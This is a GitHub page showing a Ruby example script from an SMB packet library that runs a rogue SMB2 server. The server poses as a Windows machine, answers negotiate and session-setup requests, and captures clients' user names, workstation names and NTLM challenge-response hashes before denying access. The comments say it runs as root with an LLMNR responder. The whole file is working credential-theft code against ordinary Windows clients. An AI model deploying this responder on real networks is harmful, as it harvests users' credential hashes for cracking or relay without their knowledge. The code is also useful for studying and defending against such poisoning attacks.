/
smb-responder
executable file
·233 lines (191 loc) · 8.86 KB
/
smb-responder
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
#!/usr/bin/env ruby
# This file is part of packetgen-plugin-smb.
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
# This program is published under MIT license.
#
# This small example implements a SMB responder. It responds to all SMB
# Negotiate request to capture credentials.
# Before running it (as root), llmnr-responder should be running.
# frozen_string_literal: true
require 'socket'
require 'securerandom'
require 'ostruct'
require 'packetgen'
require 'packetgen-plugin-smb'
BIND_ADDR = '0.0.0.0'
DOMAIN_NAME = 'SMB3'
COMPUTER_NAME = 'WIN-AZE546CFHTD'
Thread.abort_on_exception = true
Credentials = Struct.new(:user, :computer, :challenge, :proof, :response, :ip) do
def to_s
user = self.user.encode('UTF-8')
computer = self.computer.encode('UTF-8')
str = +"User: #{user}\nComputer:#{computer} (IP: #{ip})\n"
str << "Challenge: #{challenge}\nProof: #{proof}\n"
str << "Response: #{response}"
end
end
class Smb2Responder
attr_reader :socket, :guid, :salt
NTLMSSP_OID = '1.3.6.1.4.1.311.2.2.10'
STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016
STATUS_ACCESS_DENIED = 0xc0000022
SMB2_SIZE = 8_388_608
SMB2_NEGO_RESP_BUFFER = "`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xA0\x82\x0100\x82\x01,\xA0\x1A0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1E\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xA2\x82\x01\f\x04\x82\x01\bNEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\x7F\x15\x93\x15k\xE5\x88\n\x9A\\\x9A\xD6\x9EK`\x81\a\xEF\xF7f\xF6\x80\xAA\x17\xE0\xC2\xC5\xE5\xDB\x05\\\v\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\bNEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\b@\x00\x00\x00X\x00\x00\x000V\xA0T0R0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key"
SMB2_SALT_LEN = 32
def initialize
@guid = SecureRandom.uuid
@salt = SecureRandom.random_bytes(SMB2_SALT_LEN)
end
def start(bind_addr:)
@socket = TCPServer.new(bind_addr, PacketGen::Plugin::NetBIOS::Session::TCP_PORT2)
start_loop
end
private
def log(str)
puts "[SMB2] #{str}"
end
def get_smb_data(sock)
PacketGen.parse(sock.recv(1024), first_header: 'NetBIOS::Session')
end
def smb2_nego_resp1
return @resp1_pkt if defined? @resp1_pkt
@resp1_pkt = PacketGen.gen('NetBIOS::Session')
.add('SMB2', credit: 1)
.add('SMB2::Negotiate::Response',
dialect: 0x2ff,
server_guid: guid, capabilities: 7,
max_trans_size: SMB2_SIZE,
max_read_size: SMB2_SIZE,
max_write_size: SMB2_SIZE)
@resp1_pkt.smb2_negotiate_response[:buffer] = PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER)
@resp1_pkt.calc
@resp1_pkt
end
def first_nego_response
pkt = smb2_nego_resp1
pkt.smb2_negotiate_response[:system_time] = PacketGen::Plugin::SMB::Filetime.now
pkt
end
def second_nego_response(req_pkt)
smb2_req = req_pkt.smb2
nego_req = req_pkt.smb2_negotiate_request
pkt = PacketGen.gen('NetBIOS::Session')
.add('SMB2',
credit: 1,
message_id: smb2_req.message_id,
reserved: smb2_req.reserved)
.add('SMB2::Negotiate::Response',
dialect: nego_req.dialects.last,
server_guid: guid,
capabilities: 0x2f,
max_trans_size: SMB2_SIZE,
max_read_size: SMB2_SIZE,
max_write_size: SMB2_SIZE,
system_time: PacketGen::Plugin::SMB::Filetime.now,
buffer: PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER))
pkt.smb2_negotiate_response.context_list << { type: 1, salt_length: SMB2_SALT_LEN, salt: salt }
pkt.smb2_negotiate_response.context_list.last.hash_alg << PacketGen::Types::Int16le.new(1)
pkt.smb2_negotiate_response.context_list << { type: 2 }
pkt.smb2_negotiate_response.context_list.last.ciphers << PacketGen::Types::Int16le.new(1)
pkt.calc
pkt
end
def first_session_setup_response(req_pkt)
smb2_req = req_pkt.smb2
setup_req = req_pkt.smb2_sessionsetup_request
ntlm_nego = PacketGen::Plugin::NTLM.read(setup_req.buffer[:token_init][:mech_token].value)
pkt = PacketGen.gen('NetBIOS::Session')
.add('SMB2',
credit_charge: 1,
credit: 1,
status: STATUS_MORE_PROCESSING_REQUIRED,
message_id: smb2_req.message_id,
reserved: smb2_req.reserved)
.add('SMB2::SessionSetup::Response')
ntlm = PacketGen::Plugin::NTLM::Challenge.new
ntlm.flags = ntlm_nego.flags | 0x00810000
ntlm.flags &= 0xfdffff15
ntlm.challenge = [rand(2**64)].pack('q<')
ntlm.target_name.read('SMB3')
ntlm.target_info << { type: 'DomainName', value: DOMAIN_NAME }
ntlm.target_info << { type: 'ComputerName', value: COMPUTER_NAME }
ntlm.target_info << { type: 'DnsDomainName', value: "#{DOMAIN_NAME}.local" }
ntlm.target_info << { type: 'DnsComputerName', value: "#{COMPUTER_NAME}.local" }
ntlm.target_info << { type: 'DnsTreeName', value: "#{DOMAIN_NAME}.local" }
ntlm.target_info << { type: 'Timestamp', value: PacketGen::Plugin::SMB::Filetime.now.to_human }
ntlm.target_info << { type: 'EOL' }
ntlm.calc_length
gssapi = pkt.smb2_sessionsetup_response.buffer
gssapi[:token_resp][:response].value = ntlm.to_s
gssapi[:token_resp][:negstate].value = 'accept-incomplete'
gssapi[:token_resp][:supported_mech] = NTLMSSP_OID
pkt.calc
[pkt, ntlm.challenge]
end
def deny_access(req_pkt)
smb2_req = req_pkt.smb2
pkt = PacketGen.gen('NetBIOS::Session')
.add('SMB2',
credit: 1,
credit_charge: 1,
status: STATUS_ACCESS_DENIED,
message_id: smb2_req.message_id,
reserved: smb2_req.reserved)
.add('SMB2::SessionSetup::Response')
# Remove buffer
pkt.smb2_sessionsetup_response[:buffer] = PacketGen::Types::String.new
pkt.calc
pkt
end
def start_loop
loop do
client = socket.accept
to_close = false
log "connection from #{client.peeraddr[2]}"
credentials = Credentials.new
credentials.ip = client.peeraddr.last
until to_close
rcv_pkt = get_smb_data(client)
pkt_to_send = case rcv_pkt.headers.last.protocol_name
when 'SMB::Negotiate::Request'
unless rcv_pkt.smb_negotiate_request.dialects.map(&:to_human).include?('SMB 2.???')
to_close = true
nil
end
first_nego_response
when 'SMB2::Negotiate::Request'
second_nego_response rcv_pkt
when 'SMB2::SessionSetup::Request'
gssapi = rcv_pkt.smb2_sessionsetup_request.buffer
if gssapi[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID)
pkt, challenge = first_session_setup_response(rcv_pkt)
credentials.challenge = binary2hex(challenge)
pkt
else
response = PacketGen::Plugin::NTLM.read(gssapi[:token_resp][:response].value)
if response.is_a?(PacketGen::Plugin::NTLM::Authenticate)
credentials.proof = binary2hex(response.nt_response.response)
credentials.user = response.user_name
credentials.computer = response.workstation
credentials.response = binary2hex(response.nt_response.to_s[response.nt_response[:response].sz..-5])
to_close = true
deny_access rcv_pkt
else
to_close = true
nil
end
end
end
client.send(pkt_to_send.to_s, 0) if pkt_to_send
client.close if to_close
puts credentials.to_s unless credentials.response.nil?
end
end
end
def binary2hex(str)
str.unpack('H*').first
end
end
Smb2Responder.new.start(bind_addr: BIND_ADDR)